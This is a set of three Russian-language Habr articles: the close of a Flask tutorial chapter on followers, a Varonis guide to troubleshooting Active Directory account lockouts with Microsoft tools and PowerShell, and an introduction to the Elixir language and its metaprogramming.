Существует только одна незначительная деталь, которая может улучшить наш запрос. Когда пользователи читают посты на которые подписаны, они возможно захотят увидеть свои собственные посты в ленте, и было бы хорошо включить их в результат запроса.
Есть простой способ это сделать, который не требует никаких изменений! Мы просто просто убедимся что каждый пользователь добавлен в базу в качестве своего же подписчика и эта маленькая проблема больше не будет нас заботить. В заключение нашего долгого обсуждения запросов, давайте напишем юнит-тест для нашего запроса (файл tests.py):
```
#...
from datetime import datetime, timedelta
from app.models import User, Post
#...
class TestCase(unittest.TestCase):
#...
def test_follow_posts(self):
# make four users
u1 = User(nickname = 'john', email = 'john@example.com')
u2 = User(nickname = 'susan', email = 'susan@example.com')
u3 = User(nickname = 'mary', email = 'mary@example.com')
u4 = User(nickname = 'david', email = 'david@example.com')
db.session.add(u1)
db.session.add(u2)
db.session.add(u3)
db.session.add(u4)
# make four posts
utcnow = datetime.utcnow()
p1 = Post(body = "post from john", author = u1, timestamp = utcnow + timedelta(seconds = 1))
p2 = Post(body = "post from susan", author = u2, timestamp = utcnow + timedelta(seconds = 2))
p3 = Post(body = "post from mary", author = u3, timestamp = utcnow + timedelta(seconds = 3))
p4 = Post(body = "post from david", author = u4, timestamp = utcnow + timedelta(seconds = 4))
db.session.add(p1)
db.session.add(p2)
db.session.add(p3)
db.session.add(p4)
db.session.commit()
# setup the followers
u1.follow(u1) # john follows himself
u1.follow(u2) # john follows susan
u1.follow(u4) # john follows david
u2.follow(u2) # susan follows herself
u2.follow(u3) # susan follows mary
u3.follow(u3) # mary follows herself
u3.follow(u4) # mary follows david
u4.follow(u4) # david follows himself
db.session.add(u1)
db.session.add(u2)
db.session.add(u3)
db.session.add(u4)
db.session.commit()
# check the followed posts of each user
f1 = u1.followed_posts().all()
f2 = u2.followed_posts().all()
f3 = u3.followed_posts().all()
f4 = u4.followed_posts().all()
assert len(f1) == 3
assert len(f2) == 2
assert len(f3) == 2
assert len(f4) == 1
assert f1 == [p4, p2, p1]
assert f2 == [p3, p2]
assert f3 == [p4, p3]
assert f4 == [p4]
```
Этот тест имеет много кода предварительной настройка, но код самого тестирования довольно короткий. Сначала мы проверяем, что число отслеживаемых постов возвращаемых для каждого пользователя равно ожидаемому. Затем для каждого пользователя мы проверяем что были возвращены правильные посты и они пришли в правильном порядке (обратите внимание, что мы вставляли сообщения с временными метками гарантирующими всегда один и тот же порядок).
Обратите внимание на использование метода followed\_post(). Этот метод возвращает объект query, а не результат. Так же работает lazy=«dynamic» в отношениях ДБ.
Это всегда хорошая идея вернуть объект вместо результата, потому что дает вызывающему возможность дополнять запрос перед выполнением.
Есть несколько методов в объекте query которые вызывают выполнение запроса. Мы видели, что count() выполняет запрос и возвращает количество результатов, отбросив сами данные. Мы также использовали first() чтобы вернуть первый результат в списке, а остальные отбросить. В тесте мы использовали метод all() чтобы получить массив со всеми результатами.
Возможные улучшения
-------------------
Мы сейчас реализовали все необходимые функции подписок, но есть несколько способов улучшить наш дизайн и сделать его более гибким. Все социальные сети, которые мы так любим ненавидеть поддерживают подобные пути связи пользователей, но они имеют больше возможностей для управления информацией. Например, нет возможности блокировать подписчиков. Это добавить еще один слой сложности к нашим запросам, так как мы теперь должны не только выбрать пользователей, но еще и отсеять посты тех пользователей, которые заблокировали нас. Как бы это реализовать?
Простой способ это еще одна самоссылающаяся таблица с отношением многие-ко-многим для записи кто кого блокирует, а еще один join+filter в запросе, который возвращает отслеживаемые посты. Другой популярной возможностью соцсетей является возможность группировать подписчиков в списки, чтобы потом делиться с каждой группой своей информацией. Это также требует дополнительных связей и добавляет сложности к запросам.
У нас не будет этих функций в микроблоге, но если это вызовет достаточный интерес, я буду счастлив написать статью на эту тему. Дайте мне знать в комментариях!
Приводим дела в порядок
-----------------------
Мы сегодня достаточно продвинулись. Но хотя мы и решили проблемы с настройкой базы данных и запросами, мы не включили новый функционал в наше приложение. К счастью для нас, с этим нет никаких проблем. Нам просто нужно исправить функции представления и шаблоны для вызова новых методов в модели User, когда это необходимо. Так давайте сделаем это.
Делаем себя своим же подписчиком.
Мы решили отметить всех пользователей подписаными на самих себя, чтобы они могли видеть в ленте свои посты.
Мы собираемся сделать это в точке, где пользователям присваиваются первые настройки аккаунта, в обработчике after\_login для OpenID( файл 'app/views.py'):
```
@oid.after_login
def after_login(resp):
if resp.email is None or resp.email == "":
flash('Invalid login. Please try again.')
return redirect(url_for('login'))
user = User.query.filter_by(email = resp.email).first()
if user is None:
nickname = resp.nickname
if nickname is None or nickname == "":
nickname = resp.email.split('@')[0]
nickname = User.make_unique_nickname(nickname)
user = User(nickname = nickname, email = resp.email, role = ROLE_USER)
db.session.add(user)
db.session.commit()
# make the user follow him/herself
db.session.add(user.follow(user))
db.session.commit()
remember_me = False
if 'remember_me' in session:
remember_me = session['remember_me']
session.pop('remember_me', None)
login_user(user, remember = remember_me)
return redirect(request.args.get('next') or url_for('index'))
```
Ссылки подписаться и отписаться
-------------------------------
Далее мы определим функции представления подписки и отписки (файл app/views.py):
```
@app.route('/follow/')
@login\_required
def follow(nickname):
user = User.query.filter\_by(nickname = nickname).first()
if user == None:
flash('User ' + nickname + ' not found.')
return redirect(url\_for('index'))
if user == g.user:
flash('You can\'t follow yourself!')
return redirect(url\_for('user', nickname = nickname))
u = g.user.follow(user)
if u is None:
flash('Cannot follow ' + nickname + '.')
return redirect(url\_for('user', nickname = nickname))
db.session.add(u)
db.session.commit()
flash('You are now following ' + nickname + '!')
return redirect(url\_for('user', nickname = nickname))
@app.route('/unfollow/')
@login\_required
def unfollow(nickname):
user = User.query.filter\_by(nickname = nickname).first()
if user == None:
flash('User ' + nickname + ' not found.')
return redirect(url\_for('index'))
if user == g.user:
flash('You can\'t unfollow yourself!')
return redirect(url\_for('user', nickname = nickname))
u = g.user.unfollow(user)
if u is None:
flash('Cannot unfollow ' + nickname + '.')
return redirect(url\_for('user', nickname = nickname))
db.session.add(u)
db.session.commit()
flash('You have stopped following ' + nickname + '.')
return redirect(url\_for('user', nickname = nickname))
```
Это должно быть понятно, но стоит обратить внимание на проверки в которых мы стараемся предотвратить ошибку и пробуем предоставляем сообщение пользователю, когда проблема всё же произошла. Теперь у нас есть функции представления, поэтому мы можем подключить их. Ссылки чтобы подписаться или отписаться будут доступны на странице профиля каждого пользователя (файл app/templates/user.html):
```
{% extends "base.html" %}
{% block content %}
| | |
| --- | --- |
| | User: {{user.nickname}}
{% if user.about\_me %}{{user.about\_me}}{% endif %}
{% if user.last\_seen %}*Last seen on: {{user.last\_seen}}*{% endif %}
{{user.followers.count()}} followers |
{% if user.id == g.user.id %}
[Edit your profile]({{url_for('edit')}})
{% elif not g.user.is\_following(user) %}
[Follow]({{url_for('follow', nickname = user.nickname)}})
{% else %}
[Unfollow]({{url_for('unfollow', nickname = user.nickname)}})
{% endif %}
|
---
{% for post in posts %}
{% include 'post.html' %}
{% endfor %}
{% endblock %}
```
В строке в которой была ссылка «Edit» мы сейчас покажем количество подписчиков, которые есть у пользователя и одну из трех возможных ссылок:
* если профиль принадлежит вошедшему систему пользователю, то будет видна кнопка «Edit»
* иначе, если не подписаны на пользователся «Подписаться»
* иначе ссылка «Отписаться»
Сейчас вы можете запустить приложение, создать несколько пользователей, войдя с различных аккаунтов OpenID и поиграть с новыми возможностями.
Все, что осталось это показать посты отслеживаемых пользователей на главной странице, но у нас всё еще отсутствует важная часть головоломки, поэтому придется подождать до следующей главы.Заключительные слова
--------------------
Мы реализовали большой кусок нашего приложения сегодня.
Тема связей в БД и запросов является довольно сложной, так что если есть какие-либо вопросы, Вы можете отправить ваши вопросы в комментариях ниже.
В следующей статье мы рассмотрим удивительный мир нумерации страниц, и мы будем, наконец, получать посты из базы данных.
Для ленивых копипастеров ниже ссылка на обновленные исходники нашего микроблога:
Скачать [microblog-0.8.zip](https://github.com/miguelgrinberg/microblog/archive/v0.8.zip).
Как всегда, архив не содержит базы данных или виртуального окружения flask. Предыдущие статьи объясняют как развернуть их.
Еще раз спасибо то что читаете мой туториал. Увидимся в следующий раз!
[Miguel](http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-viii-followers-contacts-and-friends) | https://habr.com/ru/post/230643/ | null | ru | null |
# Блокировка учетных записей Active Directory: руководство по инструментам и диагностике
Блокировка учетных записей доставляет системным администраторам много хлопот, в Active Directory (AD) это частое явление. Согласно [рeзультатам исследований](http://www.computerworld.com/s/article/9225704/5_annoying_help_desk_calls_and_how_to_banish_them), блокировка учетных записей является наиболее распространенной причиной звонков в службу ИТ-поддержки.
А основной причиной блокировки учетных записей Active Directory (помимо случаев, когда пользователи забывают свой пароль) является работающее приложение или фоновая служба на устройстве, которое аутентифицируется с устаревшими учетными данными. Поскольку пользователям требуется использовать больше устройств, эта проблема усугубляется. Для решения этой проблемы системным администраторам нужно найти приложение, которое работает с устаревшими учетными данными, а затем либо остановить его, либо попросить пользователя обновить учетные данные.
Способ обработки блокировок учетных записей в Active Directory не адаптирован к современным условиям. Раньше, когда большинство пользователей Office входили в систему с одного устройства, им было легко отслеживать свои учетные данные. Но теперь ситуация изменилась.
В этой статье мы более подробно объясним, как происходят блокировки учетных записей Active Directory, как их устранять и как создать политику, которая сократит время и ресурсы, затрачиваемые на разблокировку учетных записей.
Краткий обзор: наиболее распространенные причины блокировки Active Directory
-----------------------------------------------------------------------------
Большинство блокировок учетных записей Active Directory происходят по одной из двух причин: либо пользователи **забывают свои пароли**, либо они **обновляют свои учетные данные не на всех устройствах**.
В первом случае, когда пользователь забывает пароль, администратору нужно просто сбросить учетные данные пользователя, напомнить ему, что важно создать надежный пароль, или даже посоветовать использовать диспетчер паролей, чтобы сократить количество паролей, которые необходимо помнить. Во втором же случае, когда какое-то устройство или служба пытается выполнить вход со старыми данными, эта проблема требует более сложного решения, и именно этот вопрос мы рассмотрим в нашей статье.
Базовая механика этого вида блокировки учетной записи заключается в следующем. По умолчанию Active Directory блокирует пользователя после *трех* неудачных попыток входа в систему. В большинстве случаев, когда пользователю предлагается обновить учетные данные своей учетной записи Active Directory, он делает это на наиболее часто используемом устройстве. На любых других устройствах этого пользователя могут быть сохранены старые учетные данные, и программы или службы будут автоматически продолжать попытки доступа к Active Directory с их помощью. Поскольку учетные данные на этих устройствах уже не действительны, они не смогут войти, и Active Directory очень быстро заблокирует учетную запись, чтобы предотвратить действия, выглядящие как попытка взлома методом перебора.
В большинстве случаев системные администраторы будут вынуждены идентифицировать источник этих незаконных попыток входа в систему и либо заблокировать их, либо попросить пользователя обновить свои учетные данные. В современных условиях, когда пользователям может понадобиться входить из десятков различных источников, поиск причины может оказаться весьма непростой задачей, равно как и разработка соответствующей политики блокировок, способной сократить частоту возникновения подобных проблем. Далее в статье мы покажем вам, как справиться и с тем, и с другим.
Распространенные причины блокировки в Active Directory
-------------------------------------------------------
Прежде чем мы поговорим о решениях, помогающих с проблемой блокировки учетных записей, стоит отметить, что кроме двух вышеупомянутых наиболее распространенных причин блокировки учетных записей существует множество других.
У Microsoft есть целая статья в [TechNet](http://technet.microsoft.com/en-us/library/cc773155(v=ws.10).aspx) по решению проблем с блокировкой, и их список включает:
* программы, в кэше которых сохранены старые учетные данные;
* изменение паролей в учетных записях служб;
* установка слишком низкого порога неверного ввода пароля;
* вход пользователей на нескольких компьютерах;
* сохраненные имена пользователей и пароли содержат устаревшие учетные данные;
* запланированные задания с устаревшими учетными данными;
* назначение дисков с устаревшими учетными данными;
* неправильная репликация Active Directory;
* прерванные сеансы сервера терминалов;
* устаревшие данные для входа в учетные записи служб.
Устранение проблем, связанных с блокировкой Active Directory, будет проще, если вы хорошо разбираетесь в основах Active Directory. Мы написали множество руководств, которые помогут вам освоить Active Directory. Рекомендуем начать с нашего [руководства по лучшим учебным материалам по Active Directory](https://www.varonis.com/blog/top-10-active-directory-tutorials-web/). Убедитесь, что понимаете [разницу между пользователями и компьютерами в Active Directory](https://www.varonis.com/blog/active-directory-users-and-computers/), знаете [способ работы служб Active Directory](https://www.varonis.com/blog/active-directory-domain-services/), а также [разницу между AD и LDAP](https://www.varonis.com/blog/the-difference-between-active-directory-and-ldap/).
Разобравшись в этих темах, вы отлично будете понимать, как происходит блокировка учетных записей.
Решение проблемы блокировки учетных записей
--------------------------------------------
В связи с большим количеством потенциальных причин блокировки учетной записи Active Directory системным администраторам часто приходится затрачивать серьезные усилия, чтобы решить эту проблему. Системным администраторам следует настроить [систему для отслеживания количества пользователей](https://www.varonis.com/guides/how-to/track-the-number-of-enabled-lockedout-users/) с включенной блокировкой в [доменном лесу](https://www.varonis.com/blog/active-directory-forest/), чтобы иметь возможность устранять проблемы с блокировками прежде, чем они окажутся завалены звонками пользователей.
### Первые шаги
Когда вы впервые идентифицируете заблокированную учетную запись, первая и самая важная задача — определить, вызвана ли блокировка кибератакой.
Чтобы убедиться, что у вас достаточно информации для расследования, вам следует предпринять несколько ключевых шагов:
1. Убедитесь, что на контроллерах доменов и клиентских компьютерах установлены самые новые пакеты обновлений и исправлений.
2. Настройте компьютеры для сбора данных:
* включите аудит на доменном уровне;
* включите ведение журнала Netlogon;
* включите ведение журнала Kerberos.
3. Анализируйте данные из файлов журналов событий и файлов журнала Netlogon. Это поможет определить, где и по какой причине происходят блокировки.
4. Проанализируйте журналы событий на компьютере, который генерирует блокировки учетной записи, чтобы определить причину.
Если после просмотра этих журналов вы видите сотни (или тысячи) неудачных попыток входа в систему, вероятно, вы наблюдаете атаку методом перебора на свои системы, и вам следует принять немедленные ответные меры. Если же окажется, что блокировка была вызвана обыденными причинами, нужно выяснить, как это произошло.
Факторы, которые следует учитывать в политике блокировки
---------------------------------------------------------
Если вы постоянно сталкиваетесь с несколькими видами блокировки учетной записи Active Directory, это можно исправить, пересмотрев свою политику блокировки.
Многие администраторы скажут вам, что большинство, если не все, блокировки учетных записей могут быть устранены с помощью внедрения более *интеллектуальной политики блокировки учетных записей Active Directory*. Сторонники этого подхода рекомендуют администратору зайти в объект групповой политики, установленный по умолчанию для домена, и изменить соответствующие параметры блокировки на более подходящие.
**Параметр «Порог блокировки учетной записи» (account lockout threshold)** должен быть изменен на гораздо большее число, чем 3 — возможно, 20 или 30 — так, чтобы блокировка вызывалась только действиями хакера по перебору паролей, (в этом случае такие попытки исчисляются сотнями).
**Для параметра «Продолжительность блокировки учетной записи» (account lockout duration)** — время ожидания перед автоматической разблокировкой учетной записи — следует установить значение в 10 минут (вместо, скажем, 12 часов), или значения по умолчанию, равного нулю (что означает постоянную блокировку).
И, наконец, хитрый **параметр «Сброс политики блокировки учетной записи через» (reset account lockout policy after)** по умолчанию установлен на 1 минуту. Подробнее об этом подходе можно прочитать [тут](http://ravingroo.com/295/active-directory-account-lockout-policy-threshold-counter-strong-password/).
Получив профессиональные советы от нескольких инженеров Varonis, я узнал, что также может помочь изменение параметров блокировки Active Directory по умолчанию. Но с этим нужно быть осторожными, так как сначала необходимо проверить общую надежность паролей сотрудников. Если ваша политика в отношении паролей надежна, то увеличение «порога блокировки учетной записи» может иметь смысл, иначе это может не сработать. Кроме того, есть хороший аргумент в пользу того, что этот пороговый параметр всегда должен быть равен нулю. В итоге пользователи будут вынуждены обращаться в службу поддержки, чтобы разблокировать свои учетные записи.
В конечном итоге выбранный вами подход будет зависеть от вашей среды и количества случаев блокировки, с которыми вы ежедневно сталкиваетесь. Вы должны стремиться внедрить политику блокировки, которая позволит управлять количеством попыток сброса учетной записи, при этом сохраняя возможность отлавливать попытки злоумышленников проникнуть в вашу сеть.
Три инструмента для работы с блокировками учетных записей Active Directory
---------------------------------------------------------------------------
Блокировка учетных записей Active Directory — это настолько распространенное явление и такой источник фрустрации для сетевых администраторов, что для решения этой проблемы были специально созданы несколько инструментов. Некоторые из них предоставляются Microsoft, а другие являются предложениями сторонних разработчиков. Вот список лучших из них:
### Программные средства Account Lockout Status
Это стандартный набор инструментов, который Microsoft предоставляет для управления блокировкой учетных записей Active Directory. Он состоит из ряда отдельных компонентов.
Каждый из них поможет вам исследовать различные аспекты вашей сети:
* **EventCombMT.exe** собирает и фильтрует события из журналов событий контроллеров домена. Этот инструмент имеет встроенный поиск блокировок учетных записей. Он собирает идентификаторы событий, связанных с определенными блокировками учетных записей, в отдельном текстовом файле, который затем можно экспортировать.
* **LockoutStatus.exe** проверяет все контроллеры домена в домене и сообщает вам, когда в последний раз была заблокирована целевая учетная запись и с какого контроллера домена. Кроме того, этот инструмент дает информацию о текущем статусе заблокированной учетной записи и количестве попыток ввода неверного пароля.
* **Ведение журнала Netlogon** используется для отслеживания событий Netlogon и NT LAN Manager (NTLM). Включение регистрации событий в журнале Netlogon на всех контроллерах домена — это эффективный способ изолировать заблокированную учетную запись и увидеть причину блокировки. Для анализа журналов Netlogon используется NLParse.exe, который является одним из инструментов блокировки учетной записи.
* **Acctinfo** предоставляет дополнительные свойства в ADUC (пользователи и компьютеры Active Directory), например lastLogon (последний вход) и Password Expires (истечение пароля). В частности, с этой надстройкой вы получите дополнительную вкладку в ADUC, которая называется «Дополнительная информация об учетной записи». Она помогает определять и устранять проблемы с блокировкой учетных записей, а также изменять пароль пользователя на контроллере домена на сайте этого пользователя.
### ADLockouts
Это простая программа, которая пытается отследить источник попыток ввода неверного пароля, приведший к блокировке Active Directory.
Этот инструмент отлично подходит для небольших сетей, но в более обширной среде не так эффективен. Приложение ищет в каждом домене и контроллере домена неудачный вход в систему, а затем анализирует все связанные с ним события. Его целью является определение причины блокировки. После этого программа анализирует каждую машину и выводит все типичные случаи блокировок учетных записей по ряду объектов: подключенные диски, старые сеансы удаленной работы, запланированные задания и другое.
### PowerShell
Конечно, вы можете использовать самый прямой подход к расследованию причин блокировки учетных записей Active Directory и использовать PowerShell. Этот процесс может длиться чуть дольше и быть более сложным по сравнению с вышеперечисленными инструментами, но он также даст вам более подробную информацию о том, что именно происходит в ваших системах.
Используя PowerShell, вы можете легко отфильтровать журнал событий на предмет событий, связанных с определенной учетной записью, чтобы определить источник блокировки учетной записи:
* Это можно сделать с помощью командлета *Get-EventLog* и следующей команды:
```
Get-EventLog -LogName Security | ?{{$_.message -like "*locked*USERNAME*"}} | fl -property *
```
* Либо вы можете использовать функцию *Get-UserLockoutStatus* для устранения проблем с постоянной блокировкой учетных записей. Функция ищет на всех контроллерах домена такую информацию о пользователях, как статус блокировки учетной записи, количество вводов неверных паролей, время последнего ввода неверного пароля и время, когда последний раз устанавливался пароль.
Заключение
-----------
Если вы сетевой администратор, то вам наверняка не нужно объяснять, сколько хлопот доставляет блокировка учетных записей Active Directory. Учитывая это, возникает соблазн просто рассматривать блокировку учетных записей как неотъемлемую функцию Active Directory и автоматически разблокировать учетные записи пользователей, как только вы получите запрос в службу поддержки.
Однако это неправильный подход. Потратив время на расследование истинных причин блокировок учетных записей, вы можете предотвратить их частое появление. Кроме того, изменение политик блокировки может стать эффективным способом определения случаев, когда блокировка вызвана пользовательской ошибкой, а когда — атакой киберпреступников на вашу сеть.
В конечном итоге от вашего понимания Active Directory будет зависеть, насколько эффективно вы сможете предотвращать блокировки учетных записей и управлять ими. Если вас часто расстраивает невозможность отследить источник этих проблем, вы можете использовать предоставленные нами ресурсы. В частности, ознакомьтесь с нашим [руководством о пользователях и компьютерах в Active Directory](https://www.varonis.com/blog/active-directory-users-and-computers/), а также руководством по [маркировке конфиденциальных данных](https://www.varonis.com/ru/products/data-classification-labels/) — с их помощью вы сможете еще более эффективно защитить свою сеть от кибератак. | https://habr.com/ru/post/531722/ | null | ru | null |
# Elixir
Здравствуйте, сегодня я Вам расскажу о современном языке программирования под BeamVM (или ErlangVM).
Первая часть является неполным введением в основы, а вторая часть статьи показывает на простых примерах главные особенности языка, новые для erlang-разработчика.
Два года назад вышла 0.1 версия elixir, которая и была [представлена](http://habrahabr.ru/post/115372/) хабрасообществу раньше.
Цитата:
«Erlang является уникальной по своим возможностям платформой, и не смотря на это, язык до сих пор является экзотикой. Причин существует несколько. Например, тугая арифметика, непривычность синтаксиса, функциональность. Это не недостатки. Это просто вещи, с которыми большинство программистов не могут или не хотят работать.»
На данный момент, elixir стал самым популярным языком программирования (естественно, помимо erlang-а), построенным поверх BeamVM. Вплоть до того, что автор erlang Joe Armstrong посвятил статью, а Dave Thomas написал книгу. За два года очень многое изменилось, язык сильно стабилизировался и обрёл более или менее конечный вариант для версии 1.0. За это время, из elixir исчезла объектная модель, остался Ruby-подобный синтаксис, но добавился метапрограмминг и полиморфизм, которые органично, в отличие от объектно-ориентированной парадигмы вписываются в Beam VM.
Новое в Elixir-е:
* Ruby-подобный синтакс (семантика не как в Ruby)
* Полиморфизм с помощью протоколов
* Метапрограммирование
* Стандартизированная библиотека
* «First class shell»
* И ещё много-много другого
При этом он компилируется в beam-код erlang-а; elixir также позволяет Вам вызывать модули erlang без необходимости преобразовывать типы данных, поэтому нет никакой потери в производительности при вызове кода erlang.
Чтобы опробовать у себя, можно скачать его с гитхаба:
```
$ git clone https://github.com/elixir-lang/elixir.git
$ cd elixir
$ make test
```
Или установить [прекомпилированную версию](http://elixir-lang.org/packages.html).
А так же для обладателей Fedora, Mac OS или Arch Linux можно установить elixir через пакет-менеджер:
* Homebrew для Mac OS X:
1. ```
$ brew tap homebrew/versions
$ brew install erlang-r16
```
2. Если установлена предыдущая версия erlang-а, то нужно link-овать новую версию erlang-а:
```
$ brew uninstall erlang
$ brew link erlang-r16
```
3. Установка elixir-а:
```
$ brew update
$ brew install elixir
```
* Fedora 17+ и Fedora Rawhide: sudo yum -y install elixir
* Arch Linux: Elixir доступен через AUR: yaourt -S elixir
В elixir-е имеется интерактивная консоль iex, в которой можно сразу же всё и попробовать. В отличие от erlang-а в консоли elixir-а можно создавать модули, как будет показано ниже.
Комментарий:
```
# This is a commented line
```
Далее, “# =>” показывают значение выражения:
```
1 + 1 # => 2
```
Пример из консоли:
```
$ bin/iex
defmodule Hello do
def world do
IO.puts "Hello World"
end
end
Hello.world
```
Типы данных в elixir-е такие же, как и в erlang-е:
```
1 # integer
0x1F # integer
1.0 # float
:atom # atom / symbol
{1,2,3} # tuple
[1,2,3] # list
<<1,2,3>> # binary
```
Строки в elixir-е, как и в erlang-e могут быть представлены через списки или через binary:
```
'I am a list'
"I am a binary or a string"
name = "World"
"Hello, #{name}" # => string interpolation
```
В отличие от erlang, elixir использует везде binary, как стандартную имплементацию строк из-за скорости и компактности их перед списками букв.
A так же есть многострочные строки:
```
"""
This is a binary
spawning several
lines.
"""
```
Вызов функций, мы уже видели выше для модуля, но можно и так, опуская скобки:
```
div(10, 2)
div 10, 2
```
Хороший стиль программирования для elixir-а рекомендует, если и опускать скобки, то при использовании макро.
Coding Style в стандартной библиотеке говорит о том, что для вызова функций скобки должны быть.
Переменные в elixir являются по-прежнему immutable, но можно делать reassigment:
```
x = 1
x = 2
```
Изменять переменные можно только между выражениями, а внутри одного выражения это будет по-прежнему match. При этом сохранился весь pattern matching из erlang и при этом можно с помощью ^ делать их неизменяемыми как в erlang-е:
```
{x, x} = {1,2} # => ** (MatchError) no match of right hand side value: {1,2}
{a, b, [c | _]} = {1,2,["a", "b", "c"]} # => a = 1 b = 2 c = "a"
a = 1 # => 1
a = 2 # => 2
^a = 3 # => ** (MatchError) no match of right hand side value: 3
```
Подробнее ознакомиться с синтаксисом, возможностями и особенностями elixir-а можно здесь:
[Официальный туториал](http://elixir-lang.org/getting_started/1.html)
[Crash Курс для erlang-разработчиков](http://elixir-lang.org/crash-course.html)
[Неделя с elixir-ом. Статья Joe Armstrong об elixir-е](http://joearms.github.io/2013/05/31/a-week-with-elixir.html)
[Книга Programming Elixir от Dave Thomas, там же есть два видеотуториала и несколько фрагментов из книги](http://pragprog.com/book/elixir/programming-elixir)
[Официальная документация](http://elixir-lang.org/docs/)
После того, как я сам начал программировать на elixir-е, смотреть на код erlang, который создаётся часто через copy-paste с изменением одного значения(а такая необходимость есть почти в каждом проекте, который я встречал) или постоянные повторения определённого паттерна, которые увеличивают код, мне так и хочется переписать их грамотно на elixir-е.
А сейчас хотелось бы показать на простых примерах нововведения для erlang-разработчика, a именно метапрограммирование, полиморфизм, а также синтаксический сахар, которые сильно упрощают код.
Начнём с метапрограммирования. В elixir-е всё является выражениями, по крайней мере насколько это возможно(«Everything is an expression»).
Первый пример, мы возмём самый обычный модуль с одной функцией, как наш эксперимент.
```
defmodule Hello do
def world do
IO.puts "Hello World"
end
end
```
Запищем его в фаил и скомпилируем его так:
```
$ elixirc hello.ex
```
Либо копируем в консоль, и наш модуль компилируется там. В любом случае, внимательно смотрим, что происходит вовремя компиляции. На данный момент ничего особенного.
Давайте изменим наш пример немного:
```
defmodule Hello do
IO.puts "Hello Compiler"
def world do
IO.puts "Hello World"
end
end
```
Теперь, вовремя компиляции мы можем увидеть «Hello compiler».
Теперь попробуем изменить что-то в нашем модуле, в зависимости от компиляции:
```
defmodule Hello do
if System.get_env("MY_ENV") == "1" do
def world do
IO.puts "Hello World with my Variable = 1"
end
else
def world do
IO.puts "Hello World"
end
end
end
```
Теперь, мы если мы скомпилируем код, то в зависимости от того, как мы его компилируем, мы можем увидеть:
```
$ elixirc hello.ex
$ iex
iex> Hello.world # => "Hello World"
```
Либо, если мы скомпилируем наш модуль так, то получим другое действие нашей функции:
```
$ MY_ENV=1 elixirc hello.ex
$ iex
iex> Hello.world # => "Hello World with my Variable = 1"
```
А теперь, попробуем сделать что-то более интересное, например сгенерировать код.
В erlang-коде часто можно встретить такой или подобный код:
```
my_function(bad_type) -> 1;
my_function(bad_stat) -> 2;
.......
my_function(1) -> bad_type;
my_function(2) -> bad_stat;
.....
```
Например, мы хотим получить функцию, которой мы будем пользоваться так:
```
Hello.mapper(:bad_type) # => 1
Hello.mapper(:bad_stat) # => 2
Hello.mapper(1) # => :bad_type
.....
```
В elixir-е, мы можем получить ту же скорость работы функции, не повторяясь, если будем генерировать те же самые функции во время компиляции:
```
list = [{:bad_type, 1}, {:bad_stat, 2}]
lc {type, num} inlist list do
def my_function(unquote(type)), do: unquote(num)
def my_function(unquote(num)), do: unquote(type)
end)
```
lc inlist do — это list compression в языке elixir, пример использования:
```
lc a inlist [1,2,3], do: a * 2 # => [2,4,6]
```
Сейчас с помощью list compression мы сгенерировали по две функции(или точнее match для функции).
Пример взят из реального кода:
[в одну сторону](https://github.com/travelping/flower/blob/master/src/flower_packet.erl#L202-L220) и [в другую сторону](https://github.com/travelping/flower/blob/master/src/flower_packet.erl#L239-L257)
[И в ту и в другую сторону, на elixir-е](https://gist.github.com/liveforeverx/5697501)
В самом elixir-е тоже можно увидеть, например здесь:
[github.com/elixir-lang/elixir/blob/master/lib/elixir/lib/string.ex#L478-L486](https://github.com/elixir-lang/elixir/blob/master/lib/elixir/lib/string.ex#L478-L486)
Макро в elixir-e действуют, как в clojure(программисты lisp-а будут чувствовать себя, как дома), у любого кода можно увидеть его AST:
```
quote do: 1+1 # => {:+,[context: Elixir, import: Kernel],[1,1]}
quote do: {1,2,3,4} # => {:"{}",[],[1,2,3,4]}
quote do: sum(1,2) # => {:sum,[],[1,2]}
quote do: sum(1, 2 + 3, 4) # => {:sum,[],[1,{:+,[context: Elixir, import: Kernel],[2,3]},4]}
```
Как видно из примеров, AST состоит из кортежей с тремя элементами: {name, meta, arguments}
Теперь, попробуем написать наше первое макро:
```
defmodule MyMacro do
defmacro unless(clause, options) do
quote do: if(!unquote(clause), unquote(options))
end
end
```
Теперь используем наше макро:
```
require MyMacro
MyMacro.unless 2 < 1, do: 1 + 2
```
Следующий пример покажет, как можно использовать полученные знания, например для оптимизации.
Если мы используем где-то регулярные выражения, то это выглядит так:
```
defmodule TestRegex do
def myregex_test do
:re.run("abc", "([a-z]+)", [{:capture, :all_but_first, :list}])
end
end
```
А теперь, используя наши знания выше, мы можем вынести компиляцию регулярного выражения, тем самым сделая наш runtime код быстрее:
```
defmodule TestRegexOptimized do
{:ok, regex} = :re.compile("([a-z]+)")
escaped_regex = Macro.escape(regex)
def myregex_test do
:re.run("abc", unquote(escaped_regex), [{:capture, :all_but_first, :list}])
end
end
```
В данном примере, мы вынесли компиляцию регулярного выражения вне функции. Используя Macro.escape (есть много других полезных функций в модуле Macro) мы вставили в нашу функцию уже скомпилированное регулярное выражение, имея по-прежнему в коде читабельный вариант. Собственно, в эликсире с регулярными выражениями не нужно этого делать, так как %r макро это уже делает за вас, в зависимости от того, если можно сразу скомпилировать регулярное выражение.
Таким образом, мы можем сравнить скорость нашей функции:
```
Enum.map(1..1000, fn(_) -> elem(:timer.tc(TestRegex, :myregex_test, []), 0) end) |> List.foldl(0, &1 + &2) # => 4613
Enum.map(1..1000, fn(_) -> elem(:timer.tc(TestRegexOptimized, :myregex_test, []), 0) end) |> List.foldl(0, &1 + &2) # => 3199
```
Полиморфизм:
```
list = [{:a, 1}, {:b, 2}, {:c, 3}, {:d, 4}, {:e, 5}, {:f, 6}, {:g, 7}, {:h, 8}, {:k, 9}]
Enum.map(list, fn({a, x}) -> {a, x * 2} end)
dict = HashDict.New(list)
Enum.map(dict, fn({a, x}) -> {a, x * 2} end)
file = File.iterator!("README.md")
lines = Enum.map(file, fn(line) -> Regex.replace(%r/"/, line, "'") end)
File.write("README.md", lines)
```
Пример показывает, что мы можем использовать библиотеку Enum над любым типом данных, который имплементирует протокол Enumerable.
Имплементация для протоколоа может находиться где угодно, независимо от самого протокола: главное, чтобы скомпилированный код находился там, где BeamVM может его найти(т.е. в :source.get\_path). Т.е. например, Вы можете расширять существующие библиотеки, не изменяя их код для своих типов данных.
Ещё один интересный встроенный протокол — это access protocol — возьмём на примере верхнего списка символ-значение:
```
list = [{:a, 1}, {:b, 2}, {:c, 3}, {:d, 4}, {:e, 5}, {:f, 6}, {:g, 7}, {:h, 8}, {:k, 9}]
list[:a] # => 1
```
